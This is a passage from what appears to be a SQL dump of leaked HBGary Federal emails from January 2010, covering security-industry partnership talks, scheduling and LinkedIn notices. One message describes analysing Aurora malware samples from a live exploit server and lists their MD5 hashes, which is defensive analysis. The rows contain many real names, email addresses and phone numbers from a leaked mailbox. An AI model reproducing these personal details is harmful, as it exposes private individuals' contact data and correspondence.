getting vocal.\r\n \r\n-Greg\r\nOn Wed, Jan 20, 2010 at 11:00 AM, Aaron Barr &lt;adbarr@mac.com&gt; wrote:\r\nhttp://blogs.siliconvalley.com/gmsv/2010/01/digital-dna-evidence-suggests-chinese-hand-in-google-hack.html\r\nFrom my iPhone\r\n',14377,'aaron_hbgary_com/14377.html'),(1290,'2010-01-20','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297000332.M231472P3547Q1290.eml','all@hbgary.com','Aurora...A first look in Reponder','There is an active Aurora exploit server located in the US.  Although the exploit is buggy for me (IE crashes even with DEP off etc) I was able to wget the next stage binaries:[root@moosebreath aurora]# md5sum *\r\nfce2eb42e1ad04812d61d02a9965e930  001.exe6572158f6f56fbb56f139bce7efb75e5  00.exead9a1e1eb8193c985971d62a922fb690  01.exef158ba42531fb235ddcd52cfc81aeed5  05.exedfb72179b6ceed4cd150250e9abe679d  06.exe\r\nc89bd4d2ceeba3f84f9d0bf5dd6a6002  1.exeb7322d8512183638aa2d2244a5197468  3.exe33fb1876727ef437dee6e3e06d4e7e21  78.exe13a24a167fba4cd6913037446cfa08bf  ie.exe8fe3779f8d56126393194406eae60780  mm.exe\r\nI kept this first test pretty simple.  Start flypaper, then launch each exe in the order in which the dropper would do it.  DDNA detection is good on the injected dll that goes into the fake iexplore.exe running.  There are other elements that are scored lower but I&#39;m not concerned since they appear to be temporary mechanisms to get dlls shuffled around.\r\nYou can see the attached jpeg for DDNA and a process listing.  If the dev guys want a copy of the vmem let me know.  I have not begun actually reversing anything yet but wanted to be able to speak to our partners about our detection rates of known samples.\r\nAlso I&#39;m requesting that dev leave in the pattern match feature from Responder 1.5.  I use this every time I inspect a memory image.  See attached jpeg for positive hits here.--Phil\r\n',2384,'aaron_hbgary_com/2384.html'),(1291,'2010-01-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000332.M777743P3547Q1291.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Operating Agreement','Begin forwarded message:From: Penny Leavy &lt;penny@hbgary.com&gt;Date: January 20, 2010 3:09:07 PM MSTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: Operating Agreementgot it and john reviewing power out last night in bay area with 90mile per hour windsOn Wed, Jan 20, 2010 at 9:26 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:Any word from Angela yet on the operating agreement?Ted--Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623-- Penny C. LeavyHBGary, Inc.\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',14220,'aaron_hbgary_com/14220.html'),(1292,'2010-01-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000333.M11845P3547Q1292.eml','\"Harris, Irene G (TASC Inc)\" <irene.harris@tasc.com>','Re: Congratulations','How about Jan. 29th 9am.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 20, 2010, at 3:05 PM, \"Harris, Irene G (TASC Inc)\"\r\n wrote:\r\n\r\n> Aaron,\r\n> Al is available the following dates and times.\r\n>\r\n> Friday, 29 January - 9-9:30 am, 11 am - noon, 2-3 pm\r\n> Friday, 5 February 9-10 am, 11 am - noon, 2-3 pm\r\n>\r\n> Please let me know what works best for you.\r\n>\r\n> Thank you,\r\n> Irene Harris\r\n> Executive Assistant to Albert A. Pisani, Vice President\r\n> Intelligence Operations Business Unit\r\n> Office: 703-633-8473\r\n> BB: 703-201-7718\r\n> Fax: 703-449-3999\r\n> irene.harris@ngc.com\r\n> -----------------------------------\r\n>\r\n> TASC\r\n> 4807 Stonecroft Boulevard\r\n> Chantilly, VA 20151\r\n>\r\n> -----Original Message-----\r\n> From: Pisani, Albert A.\r\n> Sent: Tuesday, January 19, 2010 4:38 PM\r\n> To: Aaron Barr\r\n> Cc: Harris, Irene G (TASC Inc); Lovegrove, John (TASC Inc)\r\n> Subject: RE: Congratulations\r\n>\r\n> Aaron:\r\n>\r\n> Good to hear from you.\r\n>\r\n> I will have Irene set something up.\r\n>\r\n> Look forward to meeting with you.\r\n>\r\n> AL\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, January 19, 2010 1:06 PM\r\n> To: Pisani, Albert A.\r\n> Subject: Congratulations\r\n>\r\n> Hi Al,\r\n>\r\n> I don\'t think I had yet congratulated you on your move to TASC.  I am\r\n> sure some bumpy roads but sounds promising.\r\n>\r\n> Do you have some time to catch up?  I would like to tell you about\r\n> some\r\n> of the things I am thinking about and working on related to\r\n> cybersecurity and information operations.  I am working to put\r\n> together\r\n> a cooperative of small, innovative business with complementary\r\n> technologies as one effort.  I think it could be promising.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',966,'aaron_hbgary_com/966.html'),(1293,'2010-01-20','\"Bill Hornish\" <bhornish@splunk.com>','/aaron@hbgary.com/new/1297000333.M332715P3547Q1293.eml','\"John Farrell\" <john@endgames.us>,\"Aaron Barr\" <aaron@hbgary.com>,\"Joshua Hritz\" <jhritz@splunk.com>','Re: virtual introduction','\r\n\r\nRe: virtual introduction\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nThanks for the intro email John. HB Gary looks like a very cool company. I saw you downloaded already. Joshua Hritz and I are with Splunk&#8217;s Federal Business Development team. &nbsp;I&#8217;m happy to tell you all about my personal experience as the PM of Network Monitoring and CIRT at the State Department for Mantech as an early adopter of Splunk. Joshua is working with engineers from HB Gary who have shown interest in Splunk already, and would work with you on partnership, etc.\r\n\r\nA little background on Splunk ? &nbsp;Splunk has been growing in the Federal Government since 2006. We have over 1,500 customers globally, and over 75% of the Federal Agencies are using Splunk. &nbsp;&nbsp;Splunk is software that revolutionizes how enterprises manage, secure and audit their IT data. &nbsp;It provides a way to quickly and efficiently process vast amounts of unstructured IT data intelligently, in order to deliver useful results. Splunk makes all organization&#8217;s IT data available for a variety of functions from Application Management, Security, Compliance and to Operations Management. &nbsp;Splunk&#8217;s software solution can rapidly scale to terabytes of data per day. \r\n\r\nWe look forward to hearing from you.\r\n\r\nThank you,\r\n\r\nBill Hornish,\r\nFederal Business Development Manager\r\n\r\nsplunk &gt; \r\n(O) 202-248-3456\r\n(C) 202-251-4670\r\nbhornish@splunk.com\r\nwww.splunk.com\r\n\r\nFrom: John Farrell &lt;john@endgames.us&gt;\r\nDate: Wed, 20 Jan 2010 12:38:28 -0800\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;, Bill Hornish &lt;bhornish@splunk.com&gt;\r\nSubject: virtual introduction\r\n\r\nAaron, Bill, \r\n\r\nAs a follow up to yesterday\'s meeting and calls, I would like to introduce you two and encourage you to get together soon. I\'ve worked with Bill for several years in his capacity with Mantech. He can explain Splunk and how it could support HB Gary Federal\'s business strategy. Additionally, his experience at Mantech may provide you with additional insight into ways you can partner with them too. You two can work out the details directly. Let me know how else I can assist. Talk with you soon. \r\n\r\nJohn\r\n\r\nJohn M. Farrell\r\nVice President, Federal\r\njohn@endgames.us\r\n703.622.9025\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2511,'aaron_hbgary_com/2511.html'),(1294,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000333.M510499P3547Q1294.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: What\'s your availability','Matt,\r\n\r\nNetwitness isnon board.  I am going to add them to the meeting on\r\nTuesday.  Xetron is going to pony up some money for integration.  Once\r\nwe getthrough some initial partnership discussions and are getting\r\nready for the integration work we cam do a Tess release for the\r\neffort.  Fun stuff.  Thinking of talking to splunk for host security.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 19, 2010, at 5:05 PM, Aaron Barr  wrote:\r\n\r\n> Ok how about 330-430 tuesday. Palantir/HBGary/endgames\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Jan 19, 2010, at 3:59 PM, Matthew Steckman > wrote:\r\n>\r\n>> Either day is fine with me.\r\n>>\r\n>> Matthew Steckman\r\n>> Palantir Technologies | Forward Deployed Engineer\r\n>> msteckman@palantirtech.com | 202-257-2270\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, January 19, 2010 3:58 PM\r\n>> To: Matthew Steckman\r\n>> Subject: What\'s your availability\r\n>>\r\n>> To meet with endgames systems next tuesday or Wednesday.\r\n>>\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n',6513,'aaron_hbgary_com/6513.html'),(1295,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000333.M683092P3547Q1295.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 	3:30pm - 4:30pm (msteckman@palantirtech.com)','Matt,\r\nNetwitness is on board.  I am going to add them to the meeting onTuesday.  Xetron is going to pony up some money for integration.  Oncewe getthrough some initial partnership discussions and are getting\r\nready for the integration work we cam do a Press release for theeffort.  Fun stuff.  Thinking of talking to splunk for host security.AaronFrom my iPhone\r\nOn Jan 20, 2010, at 11:40 AM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:Lisa, CCed, has the final draft.  She is in a meeting on the Hill right now, when she gets out she&#39;s reviewing it and will send it back to you.\r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com | 202-257-2270\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Wednesday, January 20, 2010 11:38 AM\r\nTo: Matthew SteckmanSubject: Re: Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm - 4:30pm (msteckman@palantirtech.com)\r\nHey Matt,Any progress on the quote for our partnership?  Once I get that I think we are ready to go to get it released.Thanks,\r\nAaronOn Jan 20, 2010, at 10:35 AM, Matthew Steckman wrote:&lt;Mail Attachment.ics&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n',1105,'aaron_hbgary_com/1105.html'),(1296,'2010-01-21','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000334.M223537P3547Q1297.eml','\"Aaron Barr\" <aaron@hbgary.com>','Air Force issues second call for network attack capabilities','Air Force issues second call for network attack capabilitiesService seeks technologies to destroy or disrupt enemy information networks.From my iPhone\r\n',8831,'aaron_hbgary_com/8831.html'),(1297,'2010-01-21','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000334.M409785P3547Q1298.eml','\"Aaron Barr\" <aaron@hbgary.com>','','http://post.oreilly.com/form/oreilly/viewhtml/9z1zgpfir8bs7clac9cgmobgo96rlu183o28udmello?utm_content=WH_10_%234&utm_campaign=Mailings&utm_source=iPost&utm_medium=email&imm_mid=053d5c&cmp=WH_10_%234\r\n\r\n\r\n From my iPhone\r\n',4805,'aaron_hbgary_com/4805.html'),(1298,'2010-01-21','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297000334.M44225P3547Q1296.eml','\"Aaron Barr\" <aaron@hbgary.com>','Nolan Clifford has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Nolan are now connected.\r\n\r\n \r\n   \r\n   View Nolan\'s profile to:\r\n     \r\n       Download Nolan\'s current contact information\r\n       Write a recommendation for Nolan\r\n       Find opportunities through Nolan\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/130835/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',7566,'aaron_hbgary_com/7566.html'),(1299,'2010-01-21','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000334.M628263P3547Q1299.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 	3:30pm - 4:30pm (msteckman@palantirtech.com)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWow, this is a pretty impressive coalition of companies you have\r\nput together.&nbsp; Some of my guys have some experience with Splunk.&nbsp; We actually\r\nhad them over to the office for a meet and greet awhile back.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThis is pretty exciting stuff. \r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 20, 2010 7:14 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Accepted: Invitation: Cyber Intelligence Consortium @ Tue\r\nJan 26 3:30pm - 4:30pm (msteckman@palantirtech.com)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatt,\r\n\r\nNetwitness is on board. &nbsp;I am going to add\r\nthem to the meeting on\r\nTuesday. &nbsp;Xetron is going to pony up some\r\nmoney for integration. &nbsp;Once\r\nwe getthrough some initial partnership discussions\r\nand are getting\r\nready for the integration work we cam do a Press\r\nrelease for the\r\neffort. &nbsp;Fun stuff. &nbsp;Thinking of talking\r\nto splunk for host security.\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 20, 2010, at 11:40 AM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLisa, CCed, has the final draft. &nbsp;She is in a meeting\r\non the Hill right now, when she gets out she\'s reviewing it and will send it\r\nback to you.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com |\r\n202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Wednesday, January 20, 2010 11:38 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26\r\n3:30pm - 4:30pm (msteckman@palantirtech.com)\r\n\r\nHey Matt,\r\n\r\nAny progress on the quote for our partnership? &nbsp;Once I get that I think we\r\nare ready to go to get it released.\r\n\r\nThanks,\r\nAaron\r\n\r\nOn Jan 20, 2010, at 10:35 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n&lt;Mail Attachment.ics&gt;\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6987,'aaron_hbgary_com/6987.html'),(1300,'2010-01-21','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297000334.M852119P3547Q1300.eml','\"Aaron Barr\" <aaron@hbgary.com>','Dwight Yamada has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Dwight are now connected.\r\n\r\n \r\n   \r\n   View Dwight\'s profile to:\r\n     \r\n       Download Dwight\'s current contact information\r\n       Write a recommendation for Dwight\r\n       Find opportunities through Dwight\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/4379147/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',13300,'aaron_hbgary_com/13300.html'),(1301,'2010-01-21','\"Nolan Clifford\" <nolan@informationsecuritysolutionsllc.com>','/aaron@hbgary.com/new/1297000335.M245248P3547Q1302.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,Ted@hbgary.com','RE: Services contract for commercial IR services','\r\n\r\n\r\n\r\n\r\nThanks Maria.\r\n&nbsp;\r\nAaron and Ted - I could link up in person next week if you \r\nguys are interested.\r\n&nbsp;\r\nBest,\r\nNolan\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\nnolan@informationsecuritysolutionsllc.com\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Tuesday, January 19, 2010 4:51 PMTo: Aaron Barr; \r\nTed@hbgary.comCc: \r\nnolan@informationsecuritysolutionsllc.comSubject: Re: Services \r\ncontract for commercial IR services\r\n\r\nAaron / Ted\r\n&nbsp;\r\nI spoke today with Nolan Clifford.&nbsp; He may&nbsp;be helpful&nbsp;with \r\nthe contract terms for IR Services.&nbsp; Nolan has an NDA with HBGary.\r\n&nbsp;\r\nNolan is available later this week or next to meet or speak with on the \r\nphone:\r\n&nbsp;\r\nYou may reach Nolan at (703) 945-7480.&nbsp; Nolan is expecting your \r\ncall.\r\n&nbsp;\r\nMaria\r\n&nbsp;\r\nNolan Clifford Bio\r\n\r\nCEO of Information Security Solutions LLC, providing a full \r\nrange of security consulting services to US Federal, Global Public Sector and \r\nCommercial clients. Former Principal, Deloitte &amp; Touche, LLP Security and \r\nPrivacy Practice. Former Director at PricewaterhouseCoopers, LLP, within the \r\nWashington Federal Practice. Former Director of Information Assurance, General \r\nDynamics Network Systems, National and Defense Intelligence Solutions and former \r\nDirector of the Federal Security Practice at Unisys Corporation. Information \r\nWarfare Officer for the Naval Reserve Network Warfare Command. Former active \r\nduty Naval Cryptology Officer. CISSP. \r\n&nbsp;-- Maria Lucas, CISSP | Account Executive | \r\nHBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 \r\nFax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',267,'aaron_hbgary_com/267.html'),(1302,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000335.M42944P3547Q1301.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Fwd: Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 	3:30pm - 4:30pm (msteckman@palantirtech.com)','This going to be good. :)From my iPhoneBegin forwarded message:From: Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nDate: January 20, 2010 8:25:59 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 	3:30pm - 4:30pm (msteckman@palantirtech.com)\r\n\r\n\r\n\r\n\r\nWow, this is a pretty impressive coalition of companies you have\r\nput together.  Some of my guys have some experience with Splunk.  We actually\r\nhad them over to the office for a meet and greet awhile back.  \r\n\r\n \r\n\r\nThis is pretty exciting stuff. \r\n\r\n \r\n\r\n-Matt\r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 20, 2010 7:14 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Accepted: Invitation: Cyber Intelligence Consortium @ Tue\r\nJan 26 3:30pm - 4:30pm (msteckman@palantirtech.com)\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nMatt,\r\n\r\nNetwitness is on board.  I am going to add\r\nthem to the meeting on\r\nTuesday.  Xetron is going to pony up some\r\nmoney for integration.  Once\r\nwe getthrough some initial partnership discussions\r\nand are getting\r\nready for the integration work we cam do a Press\r\nrelease for the\r\neffort.  Fun stuff.  Thinking of talking\r\nto splunk for host security.\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 20, 2010, at 11:40 AM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLisa, CCed, has the final draft.  She is in a meeting\r\non the Hill right now, when she gets out she&#39;s reviewing it and will send it\r\nback to you.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com |\r\n202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Wednesday, January 20, 2010 11:38 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26\r\n3:30pm - 4:30pm (msteckman@palantirtech.com)\r\n\r\nHey Matt,\r\n\r\nAny progress on the quote for our partnership?  Once I get that I think we\r\nare ready to go to get it released.\r\n\r\nThanks,\r\nAaron\r\n\r\nOn Jan 20, 2010, at 10:35 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n&lt;Mail Attachment.ics&gt;\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16325,'aaron_hbgary_com/16325.html'),(1303,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000335.M501882P3547Q1303.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>,\"Brian Masterson\" <Brian.Masterson@ngc.com>','Conceptual Plan','Brian,\r\n\r\nLet me know what you think.\r\n\r\nProduct companies are HBGary, Splunk, Netwitness, Palantir, and Endgame.  Integrators are HBGary Federal and Xetron.  our two companies will do most of the integration work with support from the product companies.  After our meeting next week we draft a press release and start the integration.\r\n\r\nFirst step is integration for intelligence.  Once we have the integration of information in a common display (Palantir), then we integrate products for security, next step is to integrate into a common configurable interface and architecture.\r\n\r\nA few reasons why this hasn\'t been done well in the past.  Integrators are always trying to be vendor agnostic, this costs in functionality.  Forget about being agnostic, pick the best in class in develop a best in class aggregated capability.  Also integrators try to jump too fast and do all of it.  First you need the information, then you can develop security around it.  You can add Mcaffee, Sourcefire, Snort, etc.\r\n\r\nWhat do you think?  You go the money, so if this sounds workable, maybe when your here next week we can work out the execution plan.\r\n\r\nHave you thought about how IS is going to react?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11828,'aaron_hbgary_com/11828.html'),(1304,'2010-01-21','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297000335.M687431P3547Q1304.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Services contract for commercial IR services','I&#39;ve been asking customers for a copy of a contract but they haven&#39;t been able to help.\r\n \r\nI&#39;ll be speaking again with a consultant from Foundstone and will see what he can provide...\r\n \r\nHaven&#39;t forgotten...\r\n \r\nOn Wed, Jan 13, 2010 at 6:23 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nWorking on this with Ted.  The piece that we need to work on the most is the contract terms. \r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 12, 2010, at 9:05 PM, Maria Lucas wrote:\r\n\r\nHi Aaron\r\n \r\nPenny said that you will be providing services for IR to commercial clients until we can get our partners on board.\r\n \r\nI told e*Trade I would have something for them in January.\r\n \r\nWhat they want is a contract terms and pricing for budget purposes in the event that they need additional bodies for IR.\r\n \r\nThey want same day response, 24 hours and 3 days with rates for tiers of IR support.  I would also suggest discounted rates for Pre-paid services.\r\n \r\nCan you estimate when this can be available?\r\n \r\nThanks!\r\nMaria-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n',15973,'aaron_hbgary_com/15973.html'),(1305,'2010-01-21','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297000335.M866569P3547Q1305.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 1/21/2010','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Jan 14 - Jan 21\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n\r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                    Ted Wagner, CISSP, ISSMP, CISM has updated their current title to Commander, Northeast Informations Operations Center at US.Army\r\n                  Send congratulations &#187;\r\n            \r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Andy Purdy has an updated profile (Headline)\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Madiha Giglione\r\n    is now connected to\r\n        David Nugent\r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Stu Shea\r\nis now connected to\r\n            Chris Whitlock\r\n,             Lacey Chong\r\n,             Robert Daubenspeck\r\n,       and 5 other people.\r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Jake Olcott\r\nis now connected to\r\n            Marshall Votta\r\n,             Keith Linzer\r\n,             Marcus H. Sachs, P.E.\r\n,       and 2 other people.\r\n\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    STATUS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Jeff McCartney\r\n      I hate being in a period of transition.  It\'s all about waiting.  I hate waiting.\r\n  Add a comment &#187;\r\n  \r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Michael Toth\r\n      Interesting and hopefully useful crowdsourcing tool http://haiti.ushahidi.com/  to track alerts, threats, missing, response, etc. in #Haiti\r\n  Add a comment &#187;\r\n  \r\n\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Kevin Halemartin has joined 2 groups, including\r\n      \r\n      Colorado Springs HR Professionals\r\n      and\r\n      Locals Linking In Colorado Springs\r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Jim Barnett has joined\r\n    Air Force Intelligence Community\r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Stu Shea has joined 2 groups, including\r\n      \r\n      Defense Executive Network\r\n      and\r\n      Aerospace Executive Network\r\n\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Derick Lopez recommends\r\ncolleague      Roger Medley\r\n          Operations Manager, Deputy Program Manager, Intelligence Operations Section Manager at Northrop Grumman Information Systems\r\n        Roger has done very well in a difficult situation.  He has functioned well in spite of major challen...\r\n        Read more\r\n\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    EVENTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Nolan Clifford\r\n                  \r\n                     will be attending \r\n                  \r\n                    Afcea West\r\n                  \r\n                     on February 02, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n            \r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    APPLICATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Stu Shea\r\n                  \r\n                     is now using the new LinkedIn for iPhone application.  \r\n                  \r\n                    Get it now &#187;\r\n                   \r\n            \r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n\r\n    \r\n  